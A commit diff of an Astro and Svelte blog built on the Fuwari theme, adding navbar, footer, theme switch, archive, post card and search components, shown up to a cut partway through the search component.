init commit
Some checks failed
Build and Check / Astro Check for Node.js 22 (push) Failing after 1m32s
Code quality / quality (push) Failing after 1m34s
Build and Check / Astro Check for Node.js 23 (push) Failing after 1m31s
Build and Check / Astro Build for Node.js 22 (push) Failing after 31s
Build and Check / Astro Build for Node.js 23 (push) Failing after 32s
Some checks failed
Build and Check / Astro Check for Node.js 22 (push) Failing after 1m32s
Code quality / quality (push) Failing after 1m34s
Build and Check / Astro Check for Node.js 23 (push) Failing after 1m31s
Build and Check / Astro Build for Node.js 22 (push) Failing after 31s
Build and Check / Astro Build for Node.js 23 (push) Failing after 32s
This commit is contained in:
BIN
src/assets/images/demo-avatar.png
Normal file
BIN
src/assets/images/demo-avatar.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 406 KiB |
BIN
src/assets/images/demo-banner.png
Normal file
BIN
src/assets/images/demo-banner.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 877 KiB |
151
src/components/ArchivePanel.svelte
Normal file
151
src/components/ArchivePanel.svelte
Normal file
@ -0,0 +1,151 @@
|
||||
<script lang="ts">
|
||||
import { onMount } from "svelte";
|
||||
|
||||
import I18nKey from "../i18n/i18nKey";
|
||||
import { i18n } from "../i18n/translation";
|
||||
import { getPostUrlBySlug } from "../utils/url-utils";
|
||||
|
||||
export let tags: string[];
|
||||
export let categories: string[];
|
||||
export let sortedPosts: Post[] = [];
|
||||
|
||||
const params = new URLSearchParams(window.location.search);
|
||||
tags = params.has("tag") ? params.getAll("tag") : [];
|
||||
categories = params.has("category") ? params.getAll("category") : [];
|
||||
const uncategorized = params.get("uncategorized");
|
||||
|
||||
interface Post {
|
||||
slug: string;
|
||||
data: {
|
||||
title: string;
|
||||
tags: string[];
|
||||
category?: string;
|
||||
published: Date;
|
||||
};
|
||||
}
|
||||
|
||||
interface Group {
|
||||
year: number;
|
||||
posts: Post[];
|
||||
}
|
||||
|
||||
let groups: Group[] = [];
|
||||
|
||||
function formatDate(date: Date) {
|
||||
const month = (date.getMonth() + 1).toString().padStart(2, "0");
|
||||
const day = date.getDate().toString().padStart(2, "0");
|
||||
return `${month}-${day}`;
|
||||
}
|
||||
|
||||
function formatTag(tagList: string[]) {
|
||||
return tagList.map((t) => `#${t}`).join(" ");
|
||||
}
|
||||
|
||||
onMount(async () => {
|
||||
let filteredPosts: Post[] = sortedPosts;
|
||||
|
||||
if (tags.length > 0) {
|
||||
filteredPosts = filteredPosts.filter(
|
||||
(post) =>
|
||||
Array.isArray(post.data.tags) &&
|
||||
post.data.tags.some((tag) => tags.includes(tag)),
|
||||
);
|
||||
}
|
||||
|
||||
if (categories.length > 0) {
|
||||
filteredPosts = filteredPosts.filter(
|
||||
(post) => post.data.category && categories.includes(post.data.category),
|
||||
);
|
||||
}
|
||||
|
||||
if (uncategorized) {
|
||||
filteredPosts = filteredPosts.filter((post) => !post.data.category);
|
||||
}
|
||||
|
||||
const grouped = filteredPosts.reduce(
|
||||
(acc, post) => {
|
||||
const year = post.data.published.getFullYear();
|
||||
if (!acc[year]) {
|
||||
acc[year] = [];
|
||||
}
|
||||
acc[year].push(post);
|
||||
return acc;
|
||||
},
|
||||
{} as Record<number, Post[]>,
|
||||
);
|
||||
|
||||
const groupedPostsArray = Object.keys(grouped).map((yearStr) => ({
|
||||
year: Number.parseInt(yearStr, 10),
|
||||
posts: grouped[Number.parseInt(yearStr, 10)],
|
||||
}));
|
||||
|
||||
groupedPostsArray.sort((a, b) => b.year - a.year);
|
||||
|
||||
groups = groupedPostsArray;
|
||||
});
|
||||
</script>
|
||||
|
||||
<div class="card-base px-8 py-6">
|
||||
{#each groups as group}
|
||||
<div>
|
||||
<div class="flex flex-row w-full items-center h-[3.75rem]">
|
||||
<div class="w-[15%] md:w-[10%] transition text-2xl font-bold text-right text-75">
|
||||
{group.year}
|
||||
</div>
|
||||
<div class="w-[15%] md:w-[10%]">
|
||||
<div
|
||||
class="h-3 w-3 bg-none rounded-full outline outline-[var(--primary)] mx-auto
|
||||
-outline-offset-[2px] z-50 outline-3"
|
||||
></div>
|
||||
</div>
|
||||
<div class="w-[70%] md:w-[80%] transition text-left text-50">
|
||||
{group.posts.length} {i18n(group.posts.length === 1 ? I18nKey.postCount : I18nKey.postsCount)}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{#each group.posts as post}
|
||||
<a
|
||||
href={getPostUrlBySlug(post.slug)}
|
||||
aria-label={post.data.title}
|
||||
class="group btn-plain !block h-10 w-full rounded-lg hover:text-[initial]"
|
||||
>
|
||||
<div class="flex flex-row justify-start items-center h-full">
|
||||
<!-- date -->
|
||||
<div class="w-[15%] md:w-[10%] transition text-sm text-right text-50">
|
||||
{formatDate(post.data.published)}
|
||||
</div>
|
||||
|
||||
<!-- dot and line -->
|
||||
<div class="w-[15%] md:w-[10%] relative dash-line h-full flex items-center">
|
||||
<div
|
||||
class="transition-all mx-auto w-1 h-1 rounded group-hover:h-5
|
||||
bg-[oklch(0.5_0.05_var(--hue))] group-hover:bg-[var(--primary)]
|
||||
outline outline-4 z-50
|
||||
outline-[var(--card-bg)]
|
||||
group-hover:outline-[var(--btn-plain-bg-hover)]
|
||||
group-active:outline-[var(--btn-plain-bg-active)]"
|
||||
></div>
|
||||
</div>
|
||||
|
||||
<!-- post title -->
|
||||
<div
|
||||
class="w-[70%] md:max-w-[65%] md:w-[65%] text-left font-bold
|
||||
group-hover:translate-x-1 transition-all group-hover:text-[var(--primary)]
|
||||
text-75 pr-8 whitespace-nowrap overflow-ellipsis overflow-hidden"
|
||||
>
|
||||
{post.data.title}
|
||||
</div>
|
||||
|
||||
<!-- tag list -->
|
||||
<div
|
||||
class="hidden md:block md:w-[15%] text-left text-sm transition
|
||||
whitespace-nowrap overflow-ellipsis overflow-hidden text-30"
|
||||
>
|
||||
{formatTag(post.data.tags)}
|
||||
</div>
|
||||
</div>
|
||||
</a>
|
||||
{/each}
|
||||
</div>
|
||||
{/each}
|
||||
</div>
|
||||
7
src/components/ConfigCarrier.astro
Normal file
7
src/components/ConfigCarrier.astro
Normal file
@ -0,0 +1,7 @@
|
||||
---
|
||||
|
||||
import { siteConfig } from "../config";
|
||||
---
|
||||
|
||||
<div id="config-carrier" data-hue={siteConfig.themeColor.hue}>
|
||||
</div>
|
||||
21
src/components/Footer.astro
Normal file
21
src/components/Footer.astro
Normal file
@ -0,0 +1,21 @@
|
||||
---
|
||||
|
||||
import { profileConfig } from "../config";
|
||||
import { url } from "../utils/url-utils";
|
||||
|
||||
const currentYear = new Date().getFullYear();
|
||||
---
|
||||
|
||||
<!--<div class="border-t border-[var(--primary)] mx-16 border-dashed py-8 max-w-[var(--page-width)] flex flex-col items-center justify-center px-6">-->
|
||||
<div class="transition border-t border-black/10 dark:border-white/15 my-10 border-dashed mx-32"></div>
|
||||
<!--<div class="transition bg-[oklch(92%_0.01_var(--hue))] dark:bg-black rounded-2xl py-8 mt-4 mb-8 flex flex-col items-center justify-center px-6">-->
|
||||
<div class="transition border-dashed border-[oklch(85%_0.01_var(--hue))] dark:border-white/15 rounded-2xl mb-12 flex flex-col items-center justify-center px-6">
|
||||
<div class="transition text-50 text-sm text-center">
|
||||
© <span id="copyright-year">{currentYear}</span> {profileConfig.name}. All Rights Reserved. /
|
||||
<a class="transition link text-[var(--primary)] font-medium" target="_blank" href={url('rss.xml')}>RSS</a> /
|
||||
<a class="transition link text-[var(--primary)] font-medium" target="_blank" href={url('sitemap-index.xml')}>Sitemap</a><br>
|
||||
Powered by
|
||||
<a class="transition link text-[var(--primary)] font-medium" target="_blank" href="https://astro.build">Astro</a> &
|
||||
<a class="transition link text-[var(--primary)] font-medium" target="_blank" href="https://github.com/saicaca/fuwari">Fuwari</a>
|
||||
</div>
|
||||
</div>
|
||||
3
src/components/GlobalStyles.astro
Normal file
3
src/components/GlobalStyles.astro
Normal file
@ -0,0 +1,3 @@
|
||||
---
|
||||
|
||||
---
|
||||
99
src/components/LightDarkSwitch.svelte
Normal file
99
src/components/LightDarkSwitch.svelte
Normal file
@ -0,0 +1,99 @@
|
||||
<script lang="ts">
|
||||
import { AUTO_MODE, DARK_MODE, LIGHT_MODE } from "@constants/constants.ts";
|
||||
import I18nKey from "@i18n/i18nKey";
|
||||
import { i18n } from "@i18n/translation";
|
||||
import Icon from "@iconify/svelte";
|
||||
import {
|
||||
applyThemeToDocument,
|
||||
getStoredTheme,
|
||||
setTheme,
|
||||
} from "@utils/setting-utils.ts";
|
||||
import { onMount } from "svelte";
|
||||
import type { LIGHT_DARK_MODE } from "@/types/config.ts";
|
||||
|
||||
const seq: LIGHT_DARK_MODE[] = [LIGHT_MODE, DARK_MODE, AUTO_MODE];
|
||||
let mode: LIGHT_DARK_MODE = $state(AUTO_MODE);
|
||||
|
||||
onMount(() => {
|
||||
mode = getStoredTheme();
|
||||
const darkModePreference = window.matchMedia("(prefers-color-scheme: dark)");
|
||||
const changeThemeWhenSchemeChanged: Parameters<
|
||||
typeof darkModePreference.addEventListener<"change">
|
||||
>[1] = (_e) => {
|
||||
applyThemeToDocument(mode);
|
||||
};
|
||||
darkModePreference.addEventListener("change", changeThemeWhenSchemeChanged);
|
||||
return () => {
|
||||
darkModePreference.removeEventListener(
|
||||
"change",
|
||||
changeThemeWhenSchemeChanged,
|
||||
);
|
||||
};
|
||||
});
|
||||
|
||||
function switchScheme(newMode: LIGHT_DARK_MODE) {
|
||||
mode = newMode;
|
||||
setTheme(newMode);
|
||||
}
|
||||
|
||||
function toggleScheme() {
|
||||
let i = 0;
|
||||
for (; i < seq.length; i++) {
|
||||
if (seq[i] === mode) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
switchScheme(seq[(i + 1) % seq.length]);
|
||||
}
|
||||
|
||||
function showPanel() {
|
||||
const panel = document.querySelector("#light-dark-panel");
|
||||
panel.classList.remove("float-panel-closed");
|
||||
}
|
||||
|
||||
function hidePanel() {
|
||||
const panel = document.querySelector("#light-dark-panel");
|
||||
panel.classList.add("float-panel-closed");
|
||||
}
|
||||
</script>
|
||||
|
||||
<!-- z-50 make the panel higher than other float panels -->
|
||||
<div class="relative z-50" role="menu" tabindex="-1" onmouseleave={hidePanel}>
|
||||
<button aria-label="Light/Dark Mode" role="menuitem" class="relative btn-plain scale-animation rounded-lg h-11 w-11 active:scale-90" id="scheme-switch" onclick={toggleScheme} onmouseenter={showPanel}>
|
||||
<div class="absolute" class:opacity-0={mode !== LIGHT_MODE}>
|
||||
<Icon icon="material-symbols:wb-sunny-outline-rounded" class="text-[1.25rem]"></Icon>
|
||||
</div>
|
||||
<div class="absolute" class:opacity-0={mode !== DARK_MODE}>
|
||||
<Icon icon="material-symbols:dark-mode-outline-rounded" class="text-[1.25rem]"></Icon>
|
||||
</div>
|
||||
<div class="absolute" class:opacity-0={mode !== AUTO_MODE}>
|
||||
<Icon icon="material-symbols:radio-button-partial-outline" class="text-[1.25rem]"></Icon>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
<div id="light-dark-panel" class="hidden lg:block absolute transition float-panel-closed top-11 -right-2 pt-5" >
|
||||
<div class="card-base float-panel p-2">
|
||||
<button class="flex transition whitespace-nowrap items-center !justify-start w-full btn-plain scale-animation rounded-lg h-9 px-3 font-medium active:scale-95 mb-0.5"
|
||||
class:current-theme-btn={mode === LIGHT_MODE}
|
||||
onclick={() => switchScheme(LIGHT_MODE)}
|
||||
>
|
||||
<Icon icon="material-symbols:wb-sunny-outline-rounded" class="text-[1.25rem] mr-3"></Icon>
|
||||
{i18n(I18nKey.lightMode)}
|
||||
</button>
|
||||
<button class="flex transition whitespace-nowrap items-center !justify-start w-full btn-plain scale-animation rounded-lg h-9 px-3 font-medium active:scale-95 mb-0.5"
|
||||
class:current-theme-btn={mode === DARK_MODE}
|
||||
onclick={() => switchScheme(DARK_MODE)}
|
||||
>
|
||||
<Icon icon="material-symbols:dark-mode-outline-rounded" class="text-[1.25rem] mr-3"></Icon>
|
||||
{i18n(I18nKey.darkMode)}
|
||||
</button>
|
||||
<button class="flex transition whitespace-nowrap items-center !justify-start w-full btn-plain scale-animation rounded-lg h-9 px-3 font-medium active:scale-95"
|
||||
class:current-theme-btn={mode === AUTO_MODE}
|
||||
onclick={() => switchScheme(AUTO_MODE)}
|
||||
>
|
||||
<Icon icon="material-symbols:radio-button-partial-outline" class="text-[1.25rem] mr-3"></Icon>
|
||||
{i18n(I18nKey.systemMode)}
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
141
src/components/Navbar.astro
Normal file
141
src/components/Navbar.astro
Normal file
@ -0,0 +1,141 @@
|
||||
---
|
||||
import { Icon } from "astro-icon/components";
|
||||
import { navBarConfig, siteConfig } from "../config";
|
||||
import { LinkPresets } from "../constants/link-presets";
|
||||
import { LinkPreset, type NavBarLink } from "../types/config";
|
||||
import { url } from "../utils/url-utils";
|
||||
import LightDarkSwitch from "./LightDarkSwitch.svelte";
|
||||
import Search from "./Search.svelte";
|
||||
import DisplaySettings from "./widget/DisplaySettings.svelte";
|
||||
import NavMenuPanel from "./widget/NavMenuPanel.astro";
|
||||
|
||||
const className = Astro.props.class;
|
||||
|
||||
let links: NavBarLink[] = navBarConfig.links.map(
|
||||
(item: NavBarLink | LinkPreset): NavBarLink => {
|
||||
if (typeof item === "number") {
|
||||
return LinkPresets[item];
|
||||
}
|
||||
return item;
|
||||
},
|
||||
);
|
||||
---
|
||||
<div id="navbar" class="z-50 onload-animation">
|
||||
<div class="absolute h-8 left-0 right-0 -top-8 bg-[var(--card-bg)] transition"></div> <!-- used for onload animation -->
|
||||
<div class:list={[
|
||||
className,
|
||||
"card-base !overflow-visible max-w-[var(--page-width)] h-[4.5rem] !rounded-t-none mx-auto flex items-center justify-between px-4"]}>
|
||||
<a href={url('/')} class="btn-plain scale-animation rounded-lg h-[3.25rem] px-5 font-bold active:scale-95">
|
||||
<div class="flex flex-row text-[var(--primary)] items-center text-md">
|
||||
<Icon name="material-symbols:home-outline-rounded" class="text-[1.75rem] mb-1 mr-2" />
|
||||
{siteConfig.title}
|
||||
</div>
|
||||
</a>
|
||||
<div class="hidden md:flex">
|
||||
{links.map((l) => {
|
||||
return <a aria-label={l.name} href={l.external ? l.url : url(l.url)} target={l.external ? "_blank" : null}
|
||||
class="btn-plain scale-animation rounded-lg h-11 font-bold px-5 active:scale-95"
|
||||
>
|
||||
<div class="flex items-center">
|
||||
{l.name}
|
||||
{l.external && <Icon name="fa6-solid:arrow-up-right-from-square" class="text-[0.875rem] transition -translate-y-[1px] ml-1 text-black/[0.2] dark:text-white/[0.2]"></Icon>}
|
||||
</div>
|
||||
</a>;
|
||||
})}
|
||||
</div>
|
||||
<div class="flex">
|
||||
<!--<SearchPanel client:load>-->
|
||||
<Search client:only="svelte"></Search>
|
||||
{!siteConfig.themeColor.fixed && (
|
||||
<button aria-label="Display Settings" class="btn-plain scale-animation rounded-lg h-11 w-11 active:scale-90" id="display-settings-switch">
|
||||
<Icon name="material-symbols:palette-outline" class="text-[1.25rem]"></Icon>
|
||||
</button>
|
||||
)}
|
||||
<LightDarkSwitch client:only="svelte"></LightDarkSwitch>
|
||||
<button aria-label="Menu" name="Nav Menu" class="btn-plain scale-animation rounded-lg w-11 h-11 active:scale-90 md:!hidden" id="nav-menu-switch">
|
||||
<Icon name="material-symbols:menu-rounded" class="text-[1.25rem]"></Icon>
|
||||
</button>
|
||||
</div>
|
||||
<NavMenuPanel links={links}></NavMenuPanel>
|
||||
<DisplaySettings client:only="svelte"></DisplaySettings>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
function switchTheme() {
|
||||
if (localStorage.theme === 'dark') {
|
||||
document.documentElement.classList.remove('dark');
|
||||
localStorage.theme = 'light';
|
||||
} else {
|
||||
document.documentElement.classList.add('dark');
|
||||
localStorage.theme = 'dark';
|
||||
}
|
||||
}
|
||||
|
||||
function loadButtonScript() {
|
||||
let switchBtn = document.getElementById("scheme-switch");
|
||||
if (switchBtn) {
|
||||
switchBtn.onclick = function () {
|
||||
switchTheme()
|
||||
};
|
||||
}
|
||||
|
||||
let settingBtn = document.getElementById("display-settings-switch");
|
||||
if (settingBtn) {
|
||||
settingBtn.onclick = function () {
|
||||
let settingPanel = document.getElementById("display-setting");
|
||||
if (settingPanel) {
|
||||
settingPanel.classList.toggle("float-panel-closed");
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
let menuBtn = document.getElementById("nav-menu-switch");
|
||||
if (menuBtn) {
|
||||
menuBtn.onclick = function () {
|
||||
let menuPanel = document.getElementById("nav-menu-panel");
|
||||
if (menuPanel) {
|
||||
menuPanel.classList.toggle("float-panel-closed");
|
||||
}
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
loadButtonScript();
|
||||
</script>
|
||||
|
||||
{import.meta.env.PROD && <script is:inline define:vars={{scriptUrl: url('/pagefind/pagefind.js')}}>
|
||||
async function loadPagefind() {
|
||||
try {
|
||||
const response = await fetch(scriptUrl, { method: 'HEAD' });
|
||||
if (!response.ok) {
|
||||
throw new Error(`Pagefind script not found: ${response.status}`);
|
||||
}
|
||||
|
||||
const pagefind = await import(scriptUrl);
|
||||
|
||||
await pagefind.options({
|
||||
excerptLength: 20
|
||||
});
|
||||
|
||||
window.pagefind = pagefind;
|
||||
|
||||
document.dispatchEvent(new CustomEvent('pagefindready'));
|
||||
console.log('Pagefind loaded and initialized successfully, event dispatched.');
|
||||
} catch (error) {
|
||||
console.error('Failed to load Pagefind:', error);
|
||||
window.pagefind = {
|
||||
search: () => Promise.resolve({ results: [] }),
|
||||
options: () => Promise.resolve(),
|
||||
};
|
||||
document.dispatchEvent(new CustomEvent('pagefindloaderror'));
|
||||
console.log('Pagefind load error, event dispatched.');
|
||||
}
|
||||
}
|
||||
|
||||
if (document.readyState === 'loading') {
|
||||
document.addEventListener('DOMContentLoaded', loadPagefind);
|
||||
} else {
|
||||
loadPagefind();
|
||||
}
|
||||
</script>}
|
||||
110
src/components/PostCard.astro
Normal file
110
src/components/PostCard.astro
Normal file
@ -0,0 +1,110 @@
|
||||
---
|
||||
import type { CollectionEntry } from "astro:content";
|
||||
import path from "node:path";
|
||||
import { Icon } from "astro-icon/components";
|
||||
import I18nKey from "../i18n/i18nKey";
|
||||
import { i18n } from "../i18n/translation";
|
||||
import { getDir } from "../utils/url-utils";
|
||||
import ImageWrapper from "./misc/ImageWrapper.astro";
|
||||
import PostMetadata from "./PostMeta.astro";
|
||||
|
||||
interface Props {
|
||||
class?: string;
|
||||
entry: CollectionEntry<"posts">;
|
||||
title: string;
|
||||
url: string;
|
||||
published: Date;
|
||||
updated?: Date;
|
||||
tags: string[];
|
||||
category: string | null;
|
||||
image: string;
|
||||
description: string;
|
||||
draft: boolean;
|
||||
style: string;
|
||||
}
|
||||
const {
|
||||
entry,
|
||||
title,
|
||||
url,
|
||||
published,
|
||||
updated,
|
||||
tags,
|
||||
category,
|
||||
image,
|
||||
description,
|
||||
style,
|
||||
} = Astro.props;
|
||||
const className = Astro.props.class;
|
||||
|
||||
const hasCover = image !== undefined && image !== null && image !== "";
|
||||
|
||||
const coverWidth = "28%";
|
||||
|
||||
const { remarkPluginFrontmatter } = await entry.render();
|
||||
---
|
||||
<div class:list={["card-base flex flex-col-reverse md:flex-col w-full rounded-[var(--radius-large)] overflow-hidden relative", className]} style={style}>
|
||||
<div class:list={["pl-6 md:pl-9 pr-6 md:pr-2 pt-6 md:pt-7 pb-6 relative", {"w-full md:w-[calc(100%_-_52px_-_12px)]": !hasCover, "w-full md:w-[calc(100%_-_var(--coverWidth)_-_12px)]": hasCover}]}>
|
||||
<a href={url}
|
||||
class="transition group w-full block font-bold mb-3 text-3xl text-90
|
||||
hover:text-[var(--primary)] dark:hover:text-[var(--primary)]
|
||||
active:text-[var(--title-active)] dark:active:text-[var(--title-active)]
|
||||
before:w-1 before:h-5 before:rounded-md before:bg-[var(--primary)]
|
||||
before:absolute before:top-[35px] before:left-[18px] before:hidden md:before:block
|
||||
">
|
||||
{title}
|
||||
<Icon class="inline text-[2rem] text-[var(--primary)] md:hidden translate-y-0.5 absolute" name="material-symbols:chevron-right-rounded" ></Icon>
|
||||
<Icon class="text-[var(--primary)] text-[2rem] transition hidden md:inline absolute translate-y-0.5 opacity-0 group-hover:opacity-100 -translate-x-1 group-hover:translate-x-0" name="material-symbols:chevron-right-rounded"></Icon>
|
||||
</a>
|
||||
|
||||
<!-- metadata -->
|
||||
<PostMetadata published={published} updated={updated} tags={tags} category={category} hideTagsForMobile={true} hideUpdateDate={true} class="mb-4"></PostMetadata>
|
||||
|
||||
<!-- description -->
|
||||
<div class:list={["transition text-75 mb-3.5 pr-4", {"line-clamp-2 md:line-clamp-1": !description}]}>
|
||||
{ description || remarkPluginFrontmatter.excerpt }
|
||||
</div>
|
||||
|
||||
<!-- word count and read time -->
|
||||
<div class="text-sm text-black/30 dark:text-white/30 flex gap-4 transition">
|
||||
<div>
|
||||
{remarkPluginFrontmatter.words} {" " + i18n(remarkPluginFrontmatter.words === 1 ? I18nKey.wordCount : I18nKey.wordsCount)}
|
||||
</div>
|
||||
<div>|</div>
|
||||
<div>
|
||||
{remarkPluginFrontmatter.minutes} {" " + i18n(remarkPluginFrontmatter.minutes === 1 ? I18nKey.minuteCount : I18nKey.minutesCount)}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
{hasCover && <a href={url} aria-label={title}
|
||||
class:list={["group",
|
||||
"max-h-[20vh] md:max-h-none mx-4 mt-4 -mb-2 md:mb-0 md:mx-0 md:mt-0",
|
||||
"md:w-[var(--coverWidth)] relative md:absolute md:top-3 md:bottom-3 md:right-3 rounded-xl overflow-hidden active:scale-95"
|
||||
]} >
|
||||
<div class="absolute pointer-events-none z-10 w-full h-full group-hover:bg-black/30 group-active:bg-black/50 transition"></div>
|
||||
<div class="absolute pointer-events-none z-20 w-full h-full flex items-center justify-center ">
|
||||
<Icon name="material-symbols:chevron-right-rounded"
|
||||
class="transition opacity-0 group-hover:opacity-100 scale-50 group-hover:scale-100 text-white text-5xl">
|
||||
</Icon>
|
||||
</div>
|
||||
<ImageWrapper src={image} basePath={path.join("content/posts/", getDir(entry.id))} alt="Cover Image of the Post"
|
||||
class="w-full h-full">
|
||||
</ImageWrapper>
|
||||
</a>}
|
||||
|
||||
{!hasCover &&
|
||||
<a href={url} aria-label={title} class="!hidden md:!flex btn-regular w-[3.25rem]
|
||||
absolute right-3 top-3 bottom-3 rounded-xl bg-[var(--enter-btn-bg)]
|
||||
hover:bg-[var(--enter-btn-bg-hover)] active:bg-[var(--enter-btn-bg-active)] active:scale-95
|
||||
">
|
||||
<Icon name="material-symbols:chevron-right-rounded"
|
||||
class="transition text-[var(--primary)] text-4xl mx-auto">
|
||||
</Icon>
|
||||
</a>
|
||||
}
|
||||
</div>
|
||||
<div class="transition border-t-[1px] border-dashed mx-6 border-black/10 dark:border-white/[0.15] last:border-t-0 md:hidden"></div>
|
||||
|
||||
<style define:vars={{coverWidth}}>
|
||||
</style>
|
||||
82
src/components/PostMeta.astro
Normal file
82
src/components/PostMeta.astro
Normal file
@ -0,0 +1,82 @@
|
||||
---
|
||||
import { Icon } from "astro-icon/components";
|
||||
import I18nKey from "../i18n/i18nKey";
|
||||
import { i18n } from "../i18n/translation";
|
||||
import { formatDateToYYYYMMDD } from "../utils/date-utils";
|
||||
import { getCategoryUrl, getTagUrl } from "../utils/url-utils";
|
||||
|
||||
interface Props {
|
||||
class: string;
|
||||
published: Date;
|
||||
updated?: Date;
|
||||
tags: string[];
|
||||
category: string | null;
|
||||
hideTagsForMobile?: boolean;
|
||||
hideUpdateDate?: boolean;
|
||||
}
|
||||
const {
|
||||
published,
|
||||
updated,
|
||||
tags,
|
||||
category,
|
||||
hideTagsForMobile = false,
|
||||
hideUpdateDate = false,
|
||||
} = Astro.props;
|
||||
const className = Astro.props.class;
|
||||
---
|
||||
|
||||
<div class:list={["flex flex-wrap text-neutral-500 dark:text-neutral-400 items-center gap-4 gap-x-4 gap-y-2", className]}>
|
||||
<!-- publish date -->
|
||||
<div class="flex items-center">
|
||||
<div class="meta-icon"
|
||||
>
|
||||
<Icon name="material-symbols:calendar-today-outline-rounded" class="text-xl"></Icon>
|
||||
</div>
|
||||
<span class="text-50 text-sm font-medium">{formatDateToYYYYMMDD(published)}</span>
|
||||
</div>
|
||||
|
||||
<!-- update date -->
|
||||
{!hideUpdateDate && updated && updated.getTime() !== published.getTime() && (
|
||||
<div class="flex items-center">
|
||||
<div class="meta-icon"
|
||||
>
|
||||
<Icon name="material-symbols:edit-calendar-outline-rounded" class="text-xl"></Icon>
|
||||
</div>
|
||||
<span class="text-50 text-sm font-medium">{formatDateToYYYYMMDD(updated)}</span>
|
||||
</div>
|
||||
)}
|
||||
|
||||
<!-- categories -->
|
||||
<div class="flex items-center">
|
||||
<div class="meta-icon"
|
||||
>
|
||||
<Icon name="material-symbols:book-2-outline-rounded" class="text-xl"></Icon>
|
||||
</div>
|
||||
<div class="flex flex-row flex-nowrap items-center">
|
||||
<a href={getCategoryUrl(category)} aria-label={`View all posts in the ${category} category`}
|
||||
class="link-lg transition text-50 text-sm font-medium
|
||||
hover:text-[var(--primary)] dark:hover:text-[var(--primary)] whitespace-nowrap">
|
||||
{category || i18n(I18nKey.uncategorized)}
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- tags -->
|
||||
<div class:list={["items-center", {"flex": !hideTagsForMobile, "hidden md:flex": hideTagsForMobile}]}>
|
||||
<div class="meta-icon"
|
||||
>
|
||||
<Icon name="material-symbols:tag-rounded" class="text-xl"></Icon>
|
||||
</div>
|
||||
<div class="flex flex-row flex-nowrap items-center">
|
||||
{(tags && tags.length > 0) && tags.map((tag, i) => (
|
||||
<div class:list={[{"hidden": i == 0}, "mx-1.5 text-[var(--meta-divider)] text-sm"]}>/</div>
|
||||
<a href={getTagUrl(tag)} aria-label={`View all posts with the ${tag.trim()} tag`}
|
||||
class="link-lg transition text-50 text-sm font-medium
|
||||
hover:text-[var(--primary)] dark:hover:text-[var(--primary)] whitespace-nowrap">
|
||||
{tag.trim()}
|
||||
</a>
|
||||
))}
|
||||
{!(tags && tags.length > 0) && <div class="transition text-50 text-sm font-medium">{i18n(I18nKey.noTags)}</div>}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
28
src/components/PostPage.astro
Normal file
28
src/components/PostPage.astro
Normal file
@ -0,0 +1,28 @@
|
||||
---
|
||||
import type { CollectionEntry } from "astro:content";
|
||||
import { getPostUrlBySlug } from "@utils/url-utils";
|
||||
import PostCard from "./PostCard.astro";
|
||||
|
||||
const { page } = Astro.props;
|
||||
|
||||
let delay = 0;
|
||||
const interval = 50;
|
||||
---
|
||||
<div class="transition flex flex-col rounded-[var(--radius-large)] bg-[var(--card-bg)] py-1 md:py-0 md:bg-transparent md:gap-4 mb-4">
|
||||
{page.data.map((entry: CollectionEntry<"posts">) => (
|
||||
<PostCard
|
||||
entry={entry}
|
||||
title={entry.data.title}
|
||||
tags={entry.data.tags}
|
||||
category={entry.data.category}
|
||||
published={entry.data.published}
|
||||
updated={entry.data.updated}
|
||||
url={getPostUrlBySlug(entry.slug)}
|
||||
image={entry.data.image}
|
||||
description={entry.data.description}
|
||||
draft={entry.data.draft}
|
||||
class:list="onload-animation"
|
||||
style={`animation-delay: calc(var(--content-delay) + ${delay++ * interval}ms);`}
|
||||
></PostCard>
|
||||
))}
|
||||
</div>
|
||||
198
src/components/Search.svelte
Normal file
198
src/components/Search.svelte
Normal file
@ -0,0 +1,198 @@
|
||||
<script lang="ts">
|
||||
import I18nKey from "@i18n/i18nKey";
|
||||
import { i18n } from "@i18n/translation";
|
||||
import Icon from "@iconify/svelte";
|
||||
import { url } from "@utils/url-utils.ts";
|
||||
import { onMount } from "svelte";
|
||||
import type { SearchResult } from "@/global";
|
||||
|
||||
let keywordDesktop = "";
|
||||
let keywordMobile = "";
|
||||
let result: SearchResult[] = [];
|
||||
let isSearching = false;
|
||||
let pagefindLoaded = false;
|
||||
let initialized = false;
|
||||
|
||||
const fakeResult: SearchResult[] = [
|
||||
{
|
||||
url: url("/"),
|
||||
meta: {
|
||||
title: "This Is a Fake Search Result",
|
||||
},
|
||||
excerpt:
|
||||
"Because the search cannot work in the <mark>dev</mark> environment.",
|
||||
},
|
||||
{
|
||||
url: url("/"),
|
||||
meta: {
|
||||
title: "If You Want to Test the Search",
|
||||
},
|
||||
excerpt: "Try running <mark>npm build && npm preview</mark> instead.",
|
||||
},
|
||||
];
|
||||
|
||||
const togglePanel = () => {
|
||||
const panel = document.getElementById("search-panel");
|
||||
panel?.classList.toggle("float-panel-closed");
|
||||
};
|
||||
|
||||
const setPanelVisibility = (show: boolean, isDesktop: boolean): void => {
|
||||
const panel = document.getElementById("search-panel");
|
||||
if (!panel || !isDesktop) return;
|
||||
|
||||
if (show) {
|
||||
panel.classList.remove("float-panel-closed");
|
||||
} else {
|
||||
panel.classList.add("float-panel-closed");
|
||||
}
|
||||
};
|
||||
|
||||
const search = async (keyword: string, isDesktop: boolean): Promise<void> => {
|
||||
if (!keyword) {
|
||||
setPanelVisibility(false, isDesktop);
|
||||
result = [];
|
||||
return;
|
||||
}
|
||||
|
||||
if (!initialized) {
|
||||
return;
|
||||
}
|
||||
|
||||
isSearching = true;
|
||||
|
||||
try {
|
||||
let searchResults: SearchResult[] = [];
|
||||
|
||||
if (import.meta.env.PROD && pagefindLoaded && window.pagefind) {
|
||||
const response = await window.pagefind.search(keyword);
|
||||
searchResults = await Promise.all(
|
||||
response.results.map((item) => item.data()),
|
||||
);
|
||||
} else if (import.meta.env.DEV) {
|
||||
searchResults = fakeResult;
|
||||
} else {
|
||||
searchResults = [];
|
